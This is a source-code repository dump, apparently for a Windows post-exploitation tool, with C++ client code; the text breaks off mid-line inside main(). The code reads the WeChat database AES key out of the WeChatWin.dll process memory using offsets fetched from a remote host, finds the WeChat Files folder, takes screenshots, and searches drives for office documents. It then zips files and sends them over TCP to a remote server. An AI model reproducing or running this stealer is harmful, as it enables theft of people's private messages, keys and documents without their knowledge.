├── FileUpload ├── Client.sln └── Client │ ├── Client.cpp │ ├── Client.vcxproj │ ├── Client.vcxproj.user │ ├── unzip.cpp │ ├── unzip.h │ ├── zip.cpp │ └── zip.h ├── README.md └── SocketServer ├── Server.sln └── Server ├── Server.cpp ├── ShellcodeRun.vcxproj ├── ShellcodeRun.vcxproj.filters └── ShellcodeRun.vcxproj.user /FileUpload/Client.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.1145 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nice", "Client\Client.vcxproj", "{7F97B6A1-DA10-43B2-BB56-72C45538CF80}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x64.ActiveCfg = Debug|x64 17 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x64.Build.0 = Debug|x64 18 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x86.ActiveCfg = Debug|Win32 19 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x86.Build.0 = Debug|Win32 20 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x64.ActiveCfg = Release|x64 21 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x64.Build.0 = Release|x64 22 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x86.ActiveCfg = Release|Win32 23 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {8FB3C18A-B7DC-49DD-8E90-3972202B014B} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /FileUpload/Client/Client.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "zip.h" 6 | #include "unzip.h" 7 | #include 8 | #include 9 | #include 10 | #include // Needed to use the SHGetFolderPath function. 11 | #include 12 | //注意这个头文件 13 | #include 14 | #include 15 | #include 16 | #pragma comment(lib,"ws2_32.lib") 17 | #pragma comment(lib,"Winhttp.lib") 18 | #pragma comment(lib,"urlmon.lib") 19 | #pragma comment(lib, "netapi32.lib") 20 | 21 | #define GUID_LEN 64 22 | #define BUFSIZE 256 23 | char * fname; 24 | int counts = 0; 25 | using namespace std; 26 | 27 | 28 | void getFileNames(string path, vector& files); 29 | 30 | 31 | #define _CRT_SECURE_NO_WARNINGS 32 | #define _WINSOCK_DEPRECATED_NO_WARNINGS 33 | #define MAX_DATA_BLOCK_SIZE 409600 34 | 35 | 36 | void send_file(const char* file_name, const char* ip, u_short port) { 37 | 38 | WSADATA wsaData; 39 | SOCKET s; 40 | FILE *fp; 41 | struct sockaddr_in server_addr; 42 | char data[MAX_DATA_BLOCK_SIZE]; 43 | int i; 44 | int ret; 45 | fp = fopen(file_name, "rb"); 46 | if (fp == NULL) { 47 | //printf("无法打开文件\n"); 48 | return; 49 | } 50 | WSAStartup(0x202, &wsaData); 51 | s = socket(AF_INET, SOCK_STREAM, 0); 52 | memset((void *)&server_addr, 0, sizeof(server_addr)); 53 | server_addr.sin_family = AF_INET; 54 | server_addr.sin_addr.s_addr = inet_addr(ip); 55 | server_addr.sin_port = htons(port); 56 | if (connect(s, (struct sockaddr *)&server_addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR) { 57 | //printf("连接服务器失败\n"); 58 | fclose(fp); 59 | closesocket(s); 60 | WSACleanup(); 61 | return; 62 | } 63 | 64 | //printf("发送文件名。。。\n"); 65 | send(s, file_name, strlen(file_name), 0); 66 | send(s, "\0", 1, 0); 67 | 68 | while (true) 69 | { 70 | memset((void *)data, 0, sizeof(data)); 71 | i = fread(data, 1, sizeof(data), fp); 72 | if (i == 0) { 73 | printf("\nClient Upload Sucessful!\n"); 74 | break; 75 | } 76 | ret = send(s, data, i, 0); 77 | putchar('.'); 78 | if (ret == SOCKET_ERROR) { 79 | printf("\nerror\n"); 80 | break; 81 | } 82 | } 83 | fclose(fp); 84 | closesocket(s); 85 | WSACleanup(); 86 | } 87 | 88 | 89 | typedef struct _URL_INFO 90 | { 91 | WCHAR szScheme[512]; 92 | WCHAR szHostName[512]; 93 | WCHAR szUserName[512]; 94 | WCHAR szPassword[512]; 95 | WCHAR szUrlPath[512]; 96 | WCHAR szExtraInfo[512]; 97 | }URL_INFO, *PURL_INFO; 98 | 99 | 100 | std::wstring GetRightStr(const std::wstring& source, const wchar_t* subStr) 101 | { 102 | int index = source.find(subStr); 103 | 104 | std::wstring rightPart; 105 | if (index >= 0) 106 | { 107 | rightPart = source.substr(index + wcslen(subStr)); 108 | } 109 | return rightPart; 110 | } 111 | 112 | 113 | std::string webhttp(const wchar_t *Url, DWORD*dwStatusCodeReturn = NULL) 114 | { 115 | URL_INFO url_info = { 0 }; 116 | URL_COMPONENTSW lpUrlComponents = { 0 }; 117 | lpUrlComponents.dwStructSize = sizeof(lpUrlComponents); 118 | lpUrlComponents.lpszExtraInfo = url_info.szExtraInfo; 119 | lpUrlComponents.lpszHostName = url_info.szHostName; 120 | lpUrlComponents.lpszPassword = url_info.szPassword; 121 | lpUrlComponents.lpszScheme = url_info.szScheme; 122 | lpUrlComponents.lpszUrlPath = url_info.szUrlPath; 123 | lpUrlComponents.lpszUserName = url_info.szUserName; 124 | 125 | lpUrlComponents.dwExtraInfoLength = 126 | lpUrlComponents.dwHostNameLength = 127 | lpUrlComponents.dwPasswordLength = 128 | lpUrlComponents.dwSchemeLength = 129 | lpUrlComponents.dwUrlPathLength = 130 | lpUrlComponents.dwUserNameLength = 512; 131 | 132 | WinHttpCrackUrl(Url, 0, ICU_ESCAPE, &lpUrlComponents); 133 | 134 | HINTERNET hSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, NULL, NULL, 0); 135 | DWORD dwReadBytes = 0, dwSizeDW = sizeof(dwSizeDW), dwContentSize = 0, dwIndex = 0, dwStatusCode = 0; 136 | 137 | HINTERNET hConnect = WinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0); 138 | 139 | WCHAR fullUrlPath[5120] = { 0 }; 140 | 141 | wcscpy_s(fullUrlPath, lpUrlComponents.lpszUrlPath); 142 | 143 | std::wstring rightPart = GetRightStr(Url, L"?"); 144 | if (rightPart != L"") 145 | { 146 | wcscat_s(fullUrlPath, L"?"); 147 | wcscat_s(fullUrlPath, rightPart.c_str()); 148 | } 149 | 150 | // HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"HEAD", fullUrlPath, L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH); 151 | // WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); 152 | // WinHttpReceiveResponse(hRequest, 0); 153 | // WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex); 154 | // WinHttpCloseHandle(hRequest); 155 | 156 | DWORD dwFlags = WINHTTP_FLAG_REFRESH; 157 | if (_T(Url, _T("https"))) 158 | dwFlags |= WINHTTP_FLAG_SECURE; 159 | HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", fullUrlPath, L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, dwFlags); 160 | WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); 161 | WinHttpReceiveResponse(hRequest, 0); 162 | 163 | dwSizeDW = sizeof(dwContentSize); 164 | WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex); 165 | 166 | dwSizeDW = sizeof(dwStatusCode); 167 | WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwStatusCode, &dwSizeDW, NULL); 168 | if (dwStatusCodeReturn) 169 | *dwStatusCodeReturn = dwStatusCode; 170 | BYTE *pBuffer = NULL; 171 | pBuffer = new BYTE[dwContentSize + 1]; 172 | ZeroMemory(pBuffer, dwContentSize + 1); 173 | 174 | if (dwContentSize > 0) 175 | { 176 | do { 177 | WinHttpReadData(hRequest, pBuffer, dwContentSize, &dwReadBytes); 178 | } while (dwReadBytes == 0); 179 | } 180 | 181 | //std::cout << pBuffer << endl; 182 | // delete pBuffer; 183 | WinHttpCloseHandle(hRequest); 184 | WinHttpCloseHandle(hConnect); 185 | WinHttpCloseHandle(hSession); 186 | 187 | std::string resultStr((char*)pBuffer); 188 | 189 | if (pBuffer) 190 | { 191 | delete[]pBuffer; 192 | } 193 | 194 | return resultStr; 195 | 196 | 197 | } 198 | 199 | 200 | void Replace(std::string& str, const char* to_replaced, const char* newchars) 201 | { 202 | int sourceLen = strlen(to_replaced); 203 | int targetLen = strlen(newchars); 204 | for (std::string::size_type pos(0); pos != std::string::npos; pos += targetLen) 205 | { 206 | pos = str.find(to_replaced, pos); 207 | if (pos != std::string::npos) 208 | str.replace(pos, sourceLen, newchars); 209 | else 210 | break; 211 | } 212 | } 213 | 214 | std::wstring Ansi2Unicode(const CHAR* orgStr) 215 | { 216 | if (!orgStr) 217 | return NULL; 218 | 219 | int len = -1; 220 | int currentPageCode = CP_ACP; 221 | len = MultiByteToWideChar(CP_ACP, 0, orgStr, -1, NULL, 0); 222 | 223 | WCHAR * wszGBK = new WCHAR[len + 4]; 224 | if (!wszGBK) 225 | return NULL; 226 | MultiByteToWideChar(CP_ACP, 0, orgStr, -1, wszGBK, len); 227 | 228 | std::wstring resultStr(wszGBK); 229 | delete[]wszGBK; 230 | return resultStr; 231 | } 232 | 233 | std::string Unicode2Ansi(const WCHAR* orgStr) 234 | { 235 | if (!orgStr) 236 | return NULL; 237 | 238 | int len = -1; 239 | int currentPageCode = CP_ACP; 240 | len = ::WideCharToMultiByte(CP_ACP, 0, orgStr, -1, NULL, 0, NULL, NULL); 241 | 242 | CHAR * wszGBK = new CHAR[len + 4]; 243 | if (!wszGBK) 244 | return NULL; 245 | ::WideCharToMultiByte(CP_ACP, 0, orgStr, -1, wszGBK, len, NULL, NULL); 246 | 247 | std::string resultStr(wszGBK); 248 | delete[]wszGBK; 249 | return resultStr; 250 | } 251 | 252 | 253 | #include 254 | #pragma comment(lib, "version.lib") 255 | // #include //EnumProcessModules 256 | // #pragma comment(lib, "psapi.lib") 257 | DWORD GetProcessID(LPCTSTR pName) 258 | { 259 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 260 | if (INVALID_HANDLE_VALUE == hSnapshot) 261 | return NULL; 262 | PROCESSENTRY32 pe = { sizeof(pe) }; 263 | BOOL fOk; 264 | for (fOk = Process32First(hSnapshot, &pe); fOk; fOk = Process32Next(hSnapshot, &pe)) 265 | { 266 | if (!_tcsicmp(pe.szExeFile, pName)) 267 | { 268 | CloseHandle(hSnapshot); 269 | return pe.th32ProcessID; 270 | } 271 | } 272 | CloseHandle(hSnapshot); 273 | return NULL; 274 | } 275 | 276 | CString GetFileVersionInfo(LPCTSTR exePath) 277 | { 278 | CString fileDescription; 279 | CString productVersion; 280 | DWORD dwHandle = 0; 281 | DWORD dwInfoSize = GetFileVersionInfoSize(exePath, &dwHandle); 282 | 283 | if (dwInfoSize <= 0) 284 | return _T(""); 285 | 286 | void *pvInfo = malloc(dwInfoSize); 287 | if (!pvInfo) 288 | return _T(""); 289 | 290 | if (::GetFileVersionInfo(exePath, 0, dwInfoSize, pvInfo)) 291 | { 292 | struct LANGANDCODEPAGE { 293 | WORD wLanguage; 294 | WORD wCodePage; 295 | } *lpTranslate; 296 | 297 | UINT cbTranslate = 0; 298 | if (VerQueryValue(pvInfo, _T("\\VarFileInfo\\Translation"), (void**)&lpTranslate, &cbTranslate)) { 299 | // ONLY Read the file description for FIRST language and code page. 300 | if ((cbTranslate / sizeof(struct LANGANDCODEPAGE)) > 0) { 301 | const TCHAR *lpBuffer = 0; 302 | UINT cbSizeBuf = 0; 303 | TCHAR szSubBlock[50] = { 0 }; 304 | 305 | // Retrieve file description for language and code page 0 306 | 307 | #if (_MSC_VER<=1200) 308 | _stprintf(szSubBlock, _T("\\StringFileInfo\\%04x%04x//FileDescription"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage); 309 | #else 310 | _stprintf_s(szSubBlock, _T("\\StringFileInfo\\%04x%04x//FileDescription"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage); 311 | #endif 312 | if (VerQueryValue(pvInfo, szSubBlock, (void**)&lpBuffer, &cbSizeBuf)) { 313 | fileDescription = lpBuffer; 314 | } 315 | 316 | // Retrieve file version for language and code page 0 317 | #if (_MSC_VER<=1200) 318 | _stprintf(szSubBlock, _T("\\StringFileInfo\\%04x%04x\\FileVersion"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage); 319 | #else 320 | _stprintf_s(szSubBlock, _T("\\StringFileInfo\\%04x%04x\\FileVersion"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage); 321 | #endif 322 | if (VerQueryValue(pvInfo, szSubBlock, (void**)&lpBuffer, &cbSizeBuf)) { 323 | //warning4996: strncpy(lpoutProductVersion, lpBuffer, cbVerSize-1); 324 | productVersion = lpBuffer; 325 | } 326 | // Retrieve others for language and code page 0 if you like 327 | // ... 328 | } 329 | } 330 | } 331 | 332 | free(pvInfo); 333 | 334 | return productVersion; 335 | } 336 | 337 | BYTE* GetBaseAddr(BYTE* wdBaseAddr, LPCTSTR version) 338 | { 339 | std::string resultStr = webhttp((L"https://jihulab.com/bluesky1/padding/-/raw/main/README.md")); 340 | if (resultStr == "") 341 | { 342 | std::cout << "info download error" << std::endl; 343 | return NULL; 344 | } 345 | 346 | std::string versionStr = Unicode2Ansi(CA2W(version)); 347 | Replace(resultStr, " ", ""); 348 | Replace(resultStr, "\t", ""); 349 | 350 | int offsetAddr = 0; 351 | char targetVersion[256] = { 0 }; 352 | sprintf_s(targetVersion, "\"%s\"", versionStr.c_str()); 353 | const char* ptr = strstr(resultStr.c_str(), targetVersion); 354 | if (!ptr) 355 | { 356 | std::cout << "[-] This Version Not Support1." << std::endl; 357 | return NULL; 358 | } 359 | ptr = strstr(ptr, "\"addr\":\""); 360 | if (!ptr) 361 | { 362 | std::cout << "[-] This Version Not Support2." << std::endl; 363 | return NULL; 364 | } 365 | 366 | ptr += strlen("\"addr\":\""); 367 | 368 | sscanf_s(ptr, "%x", &offsetAddr); 369 | 370 | //std::cout << std::hex << offsetAddr << std::endl; 371 | 372 | return wdBaseAddr + offsetAddr; 373 | } 374 | 375 | #include 376 | void DumpKey(int pid, MODULEENTRY32 ModEntry, LPCTSTR version, BYTE* wdBaseAddr) 377 | { 378 | BYTE* keyBase = GetBaseAddr(wdBaseAddr, version); 379 | unsigned char wxname[100] = { 0 }; 380 | 381 | 382 | HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 383 | SIZE_T readLen = 0; 384 | DWORD Pointer = 0; 385 | if (!::ReadProcessMemory(hProcess, keyBase, &Pointer, sizeof(Pointer), &readLen)) 386 | { 387 | std::cout << "[-] Error code1:" << ::GetLastError() << std::endl; 388 | return; 389 | } 390 | byte keyBuf[32] = { 0 }; 391 | if (!::ReadProcessMemory(hProcess, (LPCVOID)Pointer, keyBuf, sizeof(keyBuf), &readLen)) 392 | { 393 | std::cout << "[-] Error code2:" << ::GetLastError() << std::endl; 394 | return; 395 | } 396 | //DWORD wxAddr = (DWORD)wdBaseAddr + 37895736; 397 | //printf("wxAddr = %x\n", wxAddr); 398 | //ReadProcessMemory(hProcess, (LPCVOID)wxAddr, wxname, 100, NULL); 399 | //printf("%s\n", wxname); 400 | std::string printStr, outputStr; 401 | for (int ki = 0; ki < sizeof(keyBuf); ki++) 402 | { 403 | char buf[256] = { 0 }; 404 | sprintf_s(buf, "%02X", keyBuf[ki]); 405 | printStr += buf; 406 | 407 | if (ki > 0) 408 | sprintf_s(buf, ",0x%02X", keyBuf[ki]); 409 | else 410 | sprintf_s(buf, "0x%02X", keyBuf[ki]); 411 | outputStr += buf; 412 | } 413 | std::cout << "[+] Dump AES Key Success:" << printStr << std::endl; 414 | 415 | std::ofstream outFile;//实例化ofstream类,创建outFile对象,outFile是对象名字,可以随便取,以后的操作就是对outFile对象进行的 416 | outFile.open("DBPass.Bin");//调用outFile对象中的open函数,作用是将outFile对象与文件进行关联,参数是文件名,如果filename.txt不存在,则自动创建一个叫filename.txt的文件并与其关联。注:open()函数的参数可以是字符串也可是字符数组(如:char name[];outFile.open(name)) 417 | //警告:如果打开一个已存在的文件,这个文件里现存的所有内容都会丢失!!! 418 | outFile << outputStr;//向文件进行写入,因为cout其实也是ofstream类的一个对象,所以凡是能用于cout的也一样可以用于outFile,两者用法类似 419 | outFile.close(); 420 | } 421 | 422 | void OpenWechatProc(DWORD processID) 423 | { 424 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, processID); 425 | if (hSnapshot == INVALID_HANDLE_VALUE) 426 | return; 427 | 428 | MODULEENTRY32 me = { sizeof(me) }; 429 | CString result; 430 | for (BOOL bOk = Module32First(hSnapshot, &me); bOk; bOk = Module32Next(hSnapshot, &me)) 431 | { 432 | if (!_tcsicmp(me.szModule, _T("WeChatWin.dll"))) 433 | { 434 | CString dllVersion = GetFileVersionInfo(me.szExePath); 435 | std::cout << "[*] WeChatWin Version:" << dllVersion << std::endl; 436 | DumpKey(processID, me, dllVersion, me.modBaseAddr); 437 | break; 438 | } 439 | } 440 | ::CloseHandle(hSnapshot); 441 | } 442 | 443 | 444 | 445 | 446 | 447 | 448 | void getPath(char *dbpath) 449 | { 450 | char cmd_command[256] = { 0 }; 451 | char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"; 452 | HKEY hKey; 453 | DWORD dwType = REG_BINARY; 454 | REGSAM mode = KEY_READ; 455 | DWORD length = 256; 456 | int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hKey); 457 | 458 | ret = RegQueryValueEx(hKey, "Personal", 0, &dwType, (LPBYTE)dbpath, &length); 459 | strcat(dbpath, "\\WeChat Files"); 460 | cout << "Please send back after human judgment!!!\n" << dbpath << endl; 461 | 462 | if (ret == 0) { 463 | RegCloseKey(hKey); 464 | } 465 | else { 466 | printf("failed to open regedit.%d\n", ret); 467 | } 468 | } 469 | 470 | 471 | 472 | BOOL PaintMouse(HDC hdc) 473 | { 474 | HDC bufdc = NULL; 475 | CURSORINFO cursorInfo = { 0 }; 476 | ICONINFO iconInfo = { 0 }; 477 | HBITMAP bmpOldMask = NULL; 478 | 479 | bufdc = CreateCompatibleDC(hdc); 480 | RtlZeroMemory(&iconInfo, sizeof(cursorInfo)); 481 | cursorInfo.cbSize = sizeof(cursorInfo); 482 | 483 | GetCursorInfo(&cursorInfo); 484 | 485 | GetIconInfo(cursorInfo.hCursor, &iconInfo); 486 | 487 | bmpOldMask = (HBITMAP)SelectObject(bufdc, iconInfo.hbmMask); 488 | BitBlt(hdc, cursorInfo.ptScreenPos.x, cursorInfo.ptScreenPos.y, 20, 20, bufdc, 0, 0, SRCAND); 489 | SelectObject(bufdc, iconInfo.hbmColor); 490 | BitBlt(hdc, cursorInfo.ptScreenPos.x, cursorInfo.ptScreenPos.y, 20, 20, bufdc, 0, 0, SRCPAINT); 491 | 492 | SelectObject(bufdc, bmpOldMask); 493 | DeleteObject(iconInfo.hbmColor); 494 | DeleteObject(iconInfo.hbmMask); 495 | DeleteDC(bufdc); 496 | return TRUE; 497 | } 498 | 499 | BOOL SaveBmp(HBITMAP hBmp, LPCTSTR imageName) 500 | { 501 | //LPCTSTR imageName = "weixin.png"; 502 | ATL::CImage image; 503 | image.Attach(hBmp); 504 | image.Save(imageName); 505 | return TRUE; 506 | } 507 | 508 | 509 | 510 | char *randstr(char *str, const int len) 511 | { 512 | srand(time(NULL)); 513 | int i; 514 | for (i = 0; i < len; ++i) 515 | { 516 | switch ((rand() % 3)) 517 | { 518 | case 1: 519 | str[i] = 'A' + rand() % 26; 520 | break; 521 | case 2: 522 | str[i] = 'a' + rand() % 26; 523 | break; 524 | default: 525 | str[i] = '0' + rand() % 10; 526 | break; 527 | } 528 | } 529 | str[i] = '\0'; 530 | return str; 531 | } 532 | 533 | 534 | 535 | BOOL ScreenCapture(LPCTSTR imageName) 536 | { 537 | HWND hDesktopWnd = GetDesktopWindow(); 538 | HDC hdc = GetDC(hDesktopWnd); 539 | HDC mdc = CreateCompatibleDC(hdc); 540 | DWORD dwScreenWidth = GetSystemMetrics(SM_CXSCREEN); 541 | DWORD dwScreenHeight = GetSystemMetrics(SM_CYSCREEN); 542 | HBITMAP bmp = CreateCompatibleBitmap(hdc, dwScreenWidth, dwScreenHeight); 543 | HBITMAP holdbmp = (HBITMAP)SelectObject(mdc, bmp); 544 | BitBlt(mdc, 0, 0, dwScreenWidth, dwScreenHeight, hdc, 0, 0, SRCCOPY); 545 | PaintMouse(mdc); 546 | SaveBmp(bmp, imageName); 547 | DeleteDC(hdc); 548 | DeleteDC(mdc); 549 | return TRUE; 550 | 551 | 552 | } 553 | 554 | 555 | 556 | static ZRESULT DirToZip(HZIP& hz, LPCTSTR lpszSrcPath, int nBasePos) 557 | { 558 | DWORD zResult = ZR_OK; 559 | 560 | WIN32_FIND_DATA fileData; 561 | TCHAR szFile[MAX_PATH] = { 0 }; 562 | int nStart = _tcslen(lpszSrcPath); 563 | _tcscpy(szFile, lpszSrcPath); 564 | if (nStart&&_T('\\') != lpszSrcPath[nStart - 1]) { 565 | if (nBasePos == nStart) nBasePos++; 566 | szFile[nStart++] = _T('\\'); 567 | } 568 | _tcscpy(szFile + nStart, _T("*")); 569 | HANDLE file = FindFirstFile(szFile, &fileData); 570 | while (FindNextFile(file, &fileData)) 571 | { 572 | if (fileData.cFileName[0] == _T('.')) 573 | continue; 574 | _tcscpy(szFile + nStart, fileData.cFileName); 575 | // 如果是一个文件目录 576 | if (fileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) 577 | { 578 | ZipAddFolder(hz, szFile + nBasePos); 579 | // 存在子文件夹 递归调用 580 | DirToZip(hz, szFile, nBasePos); 581 | } 582 | else 583 | { 584 | zResult = ZipAdd(hz, szFile + nBasePos, szFile); 585 | // if (zResult != ZR_OK) return zResult; 586 | } 587 | } 588 | return zResult; 589 | } 590 | 591 | 592 | 593 | void OneFile(char* pfilename, char* pfilter) 594 | { 595 | WIN32_FIND_DATA findfiledate; 596 | HANDLE hfind; 597 | char filename[512]; 598 | char lpFileName[512]; 599 | char _lpFileName[512]; 600 | int i; 601 | for (i = 0; *(pfilename + i) != '\0'; i++) 602 | filename[i] = *(pfilename + i); 603 | filename[i] = '\0'; 604 | //如果最后一字符不是'\' 605 | if (filename[strlen(filename) - 1] != '\\') 606 | strcat(filename, "\\"); //添加'\' 607 | strcpy(lpFileName, filename); 608 | strcat(lpFileName, pfilter); 609 | hfind = FindFirstFile(lpFileName, &findfiledate); 610 | if (hfind == INVALID_HANDLE_VALUE) 611 | return; 612 | do 613 | { 614 | if (!(findfiledate.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)) 615 | { 616 | //如果找到指定文件 617 | //if (strstr(findfiledate.cFileName, fname)) 618 | //printf("%s", fname); 619 | if (strstr(findfiledate.cFileName, fname)) 620 | { 621 | 622 | printf("%s%s\n", filename, findfiledate.cFileName); 623 | counts++; 624 | } 625 | } 626 | else 627 | { 628 | if (findfiledate.cFileName[0] != '.') 629 | { 630 | strcpy(_lpFileName, filename); 631 | strcat(_lpFileName, (const char*)findfiledate.cFileName); 632 | OneFile(_lpFileName, pfilter); 633 | } 634 | } 635 | } while (FindNextFile(hfind, &findfiledate)); 636 | FindClose(hfind); 637 | 638 | } 639 | 640 | void FindFile(char* pfilename, char* pfilter, char* fname, char* tempdir) 641 | { 642 | 643 | WIN32_FIND_DATA findfiledate; 644 | HANDLE hfind; 645 | char filename[1000]; 646 | char lpFileName[1000]; 647 | char _lpFileName[1000]; 648 | 649 | 650 | char source[1000]; 651 | char target[1000]; 652 | 653 | int i; 654 | for (i = 0; *(pfilename + i) != '\0'; i++) 655 | filename[i] = *(pfilename + i); 656 | filename[i] = '\0'; 657 | //如果最后一字符不是'\' 658 | if (filename[strlen(filename) - 1] != '\\') 659 | strcat(filename, "\\"); //添加'\' 660 | strcpy(lpFileName, filename); 661 | strcat(lpFileName, pfilter); 662 | hfind = FindFirstFile(lpFileName, &findfiledate); 663 | string res; 664 | if (hfind == INVALID_HANDLE_VALUE) 665 | return; 666 | do 667 | { 668 | if (!(findfiledate.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)) 669 | { 670 | //如果找到指定文件 671 | 672 | // if (strcmp(findfiledate.cFileName, fname) == 0) 673 | 674 | if (strstr(findfiledate.cFileName, fname)) 675 | { 676 | //printf("%s%s\n", findfiledate.cFileName, fname); 677 | res = findfiledate.cFileName; 678 | res = res.substr(res.find_last_of('.') + 1);//获取文件后缀 679 | if (res.data() == fname) 680 | printf("%s\n", res.c_str()); 681 | lstrcpy(source, filename); 682 | lstrcpy(target, tempdir); 683 | lstrcat(source, "\\*.*"); 684 | lstrcat(target, "\\"); 685 | 686 | 687 | memset(source, '0', sizeof(source)); 688 | lstrcpy(source, filename); 689 | lstrcat(source, "\\"); 690 | lstrcat(source, findfiledate.cFileName); 691 | lstrcat(target, findfiledate.cFileName); 692 | CopyFile(source, target, TRUE);//直接调用文件复制函数 693 | // count++; 694 | } 695 | } 696 | else 697 | { 698 | if (findfiledate.cFileName[0] != '.') 699 | { 700 | strcpy(_lpFileName, filename); 701 | strcat(_lpFileName, (const char*)findfiledate.cFileName); 702 | FindFile(_lpFileName, pfilter, fname, tempdir); 703 | } 704 | } 705 | } while (FindNextFile(hfind, &findfiledate)); 706 | FindClose(hfind); 707 | 708 | } 709 | 710 | 711 | 712 | 713 | 714 | 715 | 716 | 717 | int main(int argc, char* argv[]) 718 | { 719 | 720 | string passwd = argv[argc - 1]; 721 | //printf(passwd.c_str()); 722 | 723 | //if (strcmp(passwd.c_str(), "x") != 0) { 724 | /// exit(0); 725 | //} 726 | 727 | 728 | if (argc < 2) { 729 | return -1; 730 | } 731 | 732 | 733 | 734 | if (strcmp(argv[1], "-h") == 0) { 735 | printf("[+] %s dumpkey \n", argv[0]); 736 | printf("[+] %s photo 127.0.0.1 8888 \n", argv[0]); 737 | printf("[+] %s search d:\\ .docx \n", argv[0]); 738 | printf("[+] %s send 127.0.0.1 8888 \n", argv[0]); 739 | printf("[+] %s send 127.0.0.1 8888 vxpath\n", argv[0]); 740 | printf("[+] %s upload path 127.0.0.1 8888 \n", argv[0]); 741 | printf("[+] %s uploads path 127.0.0.1 8888 \n", argv[0]); 742 | printf("[+] %s all 127.0.0.1 8888 \n", argv[0]); 743 | printf("[+] %s user 127.0.0.1 8888 \n", argv[0]); 744 | return -1; 745 | } 746 | 747 | const char* filetype[] = { ".doc",".xls", ".pdf" ,".docx",".xlsx",".txt",".bat",".ppt",".pptx" }; 748 | //const char* filetype[] = { ".bat" }; 749 | int length = size(filetype); // 750 | char value[256] = { 0 }; 751 | vector fileNames; 752 | 753 | static TCHAR tempzip[MAX_PATH]; 754 | 755 | 756 | WORD wVersionRequested = MAKEWORD(2, 0); // 套接字版本 757 | WSADATA data; 758 | int nRes = ::WSAStartup(wVersionRequested, &data); 759 | 760 | 761 | char HostName[128]; 762 | gethostname(HostName, sizeof(HostName));// 获得本机主机名. 763 | hostent* hn; 764 | hn = gethostbyname(HostName);//根据本机主机名得到本机ip 765 | char *chIP = inet_ntoa(*(struct in_addr *)hn->h_addr_list[0]);//把ip换成字符串形式 766 | ::WSACleanup(); 767 | 768 | 769 | if (strcmp(argv[1], "search") == 0) 770 | { 771 | 772 | char szLogicalDriveStrings[BUFSIZE]; 773 | DWORD iLength; 774 | int iSub; 775 | 776 | 777 | iLength = GetLogicalDriveStringsA(BUFSIZE - 1, szLogicalDriveStrings); 778 | 779 | 780 | for (iSub = 0; iSub < iLength; iSub += 4) 781 | { 782 | // if (GetDriveType((LPCSTR)szLogicalDriveStrings + iSub) != 3) 783 | // continue; 784 | printf(szLogicalDriveStrings + iSub); 785 | } 786 | printf("\n"); 787 | 788 | const char *str7 = argv[2]; 789 | fname = argv[3]; 790 | OneFile((char *)str7, (char *)"*.*"); 791 | 792 | return 0; 793 | 794 | } 795 | 796 | 797 | if (strcmp(argv[1], "dumpkey") == 0) { 798 | 799 | getPath(value); //获取数据库位置 800 | WSADATA wsaData; 801 | int err = WSAStartup(MAKEWORD(2, 0), &wsaData); 802 | if (err != 0) 803 | { 804 | std::cout << "web error" << std::endl; 805 | return err; 806 | } 807 | 808 | DWORD procId = 